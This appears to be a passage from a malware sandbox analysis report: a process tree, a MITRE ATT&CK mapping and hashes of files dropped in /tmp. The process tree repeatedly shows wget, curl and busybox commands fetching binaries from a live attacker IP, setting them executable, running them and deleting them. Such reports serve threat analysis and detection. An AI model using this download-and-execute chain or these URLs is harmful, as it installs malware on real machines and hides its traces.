  /bin/busybox wget http://216.126.231.240/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:958
- /bin/chmod
  chmod 777 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  ./46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
  2⤵
  PID:961
- /usr/bin/wget
  wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:964
- /bin/chmod
  chmod 777 ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  ./ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
  2⤵
  PID:967
- /usr/bin/wget
  wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:968
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:970
- /bin/chmod
  chmod 777 YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  ./YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
  2⤵
  PID:973
- /usr/bin/wget
  wget http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:976
- /bin/chmod
  chmod 777 n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  ./n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
  2⤵
  PID:979
- /usr/bin/wget
  wget http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:982
- /bin/chmod
  chmod 777 QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  ./QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
  2⤵
  PID:986

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i

Path /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512

Submit Download

cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj

Path /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512